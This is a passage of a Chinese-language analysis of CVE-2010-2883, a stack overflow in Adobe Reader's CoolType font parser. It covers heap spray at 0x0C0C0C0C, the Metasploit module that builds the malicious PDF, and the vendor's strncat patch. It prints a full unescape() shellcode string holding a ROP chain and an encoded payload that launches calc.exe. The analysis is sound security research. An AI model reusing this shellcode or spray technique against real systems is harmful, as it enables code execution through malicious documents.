  解码完shellcode,然后通过TEB、PEB等结构计算出WinExec()函数的地址,调用WinExec("calc.exe",0x1)弹出计算器。计算库函数API地址的shellcode使用的是metasploit-framework中的block_api.asm,此版本为最新版本,近期更新过,与样本中的有些许差别。其具体原理准备重新写一篇文章,这篇就不介绍了,下面的注释写的已经很清楚了。其功能如下:
| 1 | ;-----------------------------------------------------------------------------; | 
调用
WinExec()函数时参数如下:
| 1 | 0C0C0D40 041E00B4 +-CALL 到 WinExec 来自 041E00B2 | 
shellcode中计算api函数hash的算法如下(dll名称使用的是大写字母的unicode字符串):
| 1 | # Author:Sp4n9x | 
0x42 Heap Spray
  在进行Heap Spray时,我们一般会将EIP控制到0x0C0C0C0C,利用javascript申请大量的堆内存块,并用包含着0x90(nop)和shellcode的内存片覆盖这些内存。通常javascript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200x1024x1024=0x0C800000>0x0C0C0C0C)后,0x0C0C0C0C就会被含有shellcode的内存块覆盖。只要内存片中的0x90能够命中0x0C0C0C0C的位置,通过滑行,就可以执行到shellcode。
  我们可以通过PDFStreamDumper看到内嵌的javascript代码。我们看到的代码是经过混淆的,所以将其复制出,将一些变量名和对象名进行重命名后,得到如下代码:
| 1 | var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u6dba%u42a5%udd5e%ud9c4%u2474%u5df4%uc931%u31b1%uc583%u3104%u0f55%u5503%u4762%ua2b7%u0594%u5b38%u6a64%ubeb0%uaa55%ucba6%u1ac5%u9eac%ud1e9%u0ae0%u977a%u3c2c%u12cb%u730b%u0fcc%u126f%u524e%uf4bc%u9d6f%uf5b1%uc0a8%ua738%u8e61%u58ef%uda06%ud233%uca54%u0733%ued2c%u9612%ub427%u18b4%ucce4%u02fc%ue9e9%ub9b7%u86d9%u6849%u6610%u55e5%u959d%u92f7%u4619%uea82%ufb5a%u2895%u2721%uab13%uac81%u1783%u6030%ud355%ucd3e%ubb11%ud022%ub7f6%u595e%u17f9%u19d7%ub3de%ufabc%ue57f%uac18%uf580%u11c3%u7d25%u46e9%udc54%u9867%u5aea%u9ac5%u64f4%uf379%uefc5%u8416%u25d9%u7a53%u6490%u13f5%ufd7d%u7e44%u2b7e%u878a%udefd%u7c72%uab1d%u3877%u4799%u5105%u684c%u52ba%u0b45%uc15d%ue205%u61f8%ufaaf' ); | 
  平常看到的Heap Spray代码都是使用%u9090(NOP)进行填充,看到这个漏洞的Heap Spray代码有点蒙逼,然后百度了一下,发现%u0C0C相当于OR AL,0CH,虽然说用到了AL,但是这肯定与后面的shellcode代码无关,所以也就相当于啥也没做。一般对Heap Spray的内存块填充以NOP SLED + ShellCode形式进行填充,NOP SLED在整个内存块中所占比例较大,所以当控制EIP转到0x0C0C0C0C执行时,命中NOP SLED的几率比较大。但是此漏洞使用的堆喷代码进行了精准堆喷,使地址0x0C0C0C0C处的代码就是用于漏洞利用的有效代码。由于Windows系统的分配粒度为64KB,所以分配到的堆块首地址的对齐大小为0x10000,堆块大小为0x100000(1MB)。我们只要让每个内存块中地址为0x....0C0C处的代码为漏洞利用的有效代码,就可以做到精准堆喷。为了加快堆喷的速度,我们可以将1MB内存块中,最后一个0x10000内存片中shellcode后面的数据剪掉,避免无用数据的赋值,就可以加快堆喷的速度。
  从上面的代码可知,我们是用大小为65536B的数据填充1MB的内存块,每块数据的起始地址都是0x....0000,从temp_chip = nop.substring(0, (0x0c0c-0x24)/2);这句可以看出,是为了将shellcode放置在每个数据块(65536B)偏移为0x0C0C-0x24的位置。0x24(36 bytes=32+4)是因为申请到的内存块拥有一些额外的信息,为了精确的计算出偏移,所以要将这部分信息所占的内存减去。所以,当我们控制EIP跳转到0x0C0C0C0C时,可以直接执行shellcode。
| SIZE | 说明 | |
|---|---|---|
| header | 32 bytes | 堆块信息头 | 
| string length | 4 bytes | 字符串长度 | 
| terminator | 2 bytes | 字符串终止符,两个字节的NULL | 
0x43 Exploit脚本分析
1、exploit()
Exploit脚本位置在metasploit-framework/modules/exploits/windows/fileformat,其主函数为exploit,内容如下:
| 1 | def exploit | 
2、make_ttf()
  此函数首先打开了一个正常的ttf模板文件,然后构造了SING表数据,将ttf字体文件中的name表数据替换为构造的SING表数据,“name”字符串替换为“SING”。构造的SING表数据包括用于将程序控制流劫持到Heap Spary代码处执行的ROP Chain,以及溢出后、获得程序控制流之前,用于绕过造成程序执行出错的数据。这部分在前面分析此漏洞是怎样触发的时候,介绍过。
| 1 | def make_ttf | 
3、make_js()
  此函数的功能将javascript的代码转换为字符串,并将javascript的变量名进行混淆。javascript的代码用于堆喷,所以我们应将用于将真正的shellcode复制到可读可写可执行内存段的ROP Chain以及经过编码的Payload编入其中。将真正的shellcode复制到可读可写可执行内存段的ROP Chain的细节前面讲过了,就不说了。其他关键部分都做了注释,函数功能如下:
| 1 | def make_js(encoded_payload) | 
4、make_pdf()
  此函数一步一步构造pdf中的每一个obj,将ttf字体数据和javascript代码分别放在了obj10和obj12,然后在obj1中设置/OpenAction 11 0 R,使pdf文件打开时,javascript能够被执行,从而实现Heap Spary。还构造了obj13,使icucnv36.dll能够被加载。因为,exp中使用的ROPgadget都是出自icucnv36.dll模块的,所以其必须要被加载到内存中。
| 1 | def make_pdf(ttf, js) | 
0x50 漏洞修复
  我下载了Adobe Reader v9.4.0版本,安装好后,提取出了其中的CoolType.dll模块。Adobe Reader v9.3.4中CoolType.dll的版本是v5.5.72.1,Adobe Reader v9.4.0中CoolType.dll的版本是v5.5.73.1。通过BinDiff进行对比后,结果如下:

  其中strcat()函数被sub_813391E()函数替换,我们进入sub_813391E()函数,看看是怎样验证uniqueName字段长度的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25sub_813391E(&uniqueName_buf, (char *)(v22 + 16), 260);
sub_8001243(&uniqueName_buf);
char *__cdecl sub_813391E(char *uniqueName_buf, char *uniqueName_str, int max_length)
{
  size_t len; // eax@1
  char *result; // eax@2
  len = strlen(uniqueName_buf);                 // 如果uniqueName_buf已经有了字符串,先计算其长度
  if ( max_length > len )                       // 判断字符串长度是否超过最大值,max_length=0x104=260
    // 将pdf中uniqueName字段的内容复制到缓冲区中已有的字符串之后,长度之和不能超过260字节
    result = strncat(&uniqueName_buf[len], uniqueName_str, max_length - len - 1);
  else
    result = uniqueName_buf;
  return result;
}
//************************************************************************************************//
//函数原型:char *strncat(char *dest, const char *src, size_t n)                                   //
//函数功能:从*src复制n个字节到*dest                                                                //
//函数参数:dest -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。 //
//         src -- 要追加的字符串。                                                                 //
//         n -- 要追加的最大字符数。                                                               //
//函数返回值:该函数返回一个指向最终的目标字符串 dest 的指针。                                        //
//************************************************************************************************//
  我们可以看到sub_813391E()函数首先查看uniqueName在栈上的缓冲区是否已经有字符串存在,并通过strlen()计算其长度。如果长度小于260,则通过strncat()函数将pdf中的字体数据中的SING表的uniqueName字段的内容复制到栈上缓冲区中已经存在的字符串后面,并且复制长度与缓冲区中已经存在的字符串的长度之和不能超过260字节。
到此为止,这个漏洞的分析暂告一段落,后面搞清楚了一些没搞清楚的细节,再来补充。
0x60 Reference
- 1.Aha Geek:CVE-2010-2883 Analysis
- 2.看雪仙果:千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
- 3.国家信息安全漏洞库:Adobe Reader和Acrobat CoolType.dll栈缓冲区溢出漏洞
- 4.维基百科:PDF
- 5.0day安全:软件漏洞分析技术 30.2 PDF文档格式简介
- 6.漏洞战争:软件漏洞分析精要 2.3 CVE-2010-2883 Adobe Reader TTF字体SING表栈溢出漏洞
- 7.C++反汇编与逆向分析技术揭秘 第9、10、11章
- 8.CVE-2010-2883漏洞分析 - 21Gun5
- 9.用TEB结构实现ShellCode的通用性
- 10.CVE-2010-2883漏洞分析 - k0shl
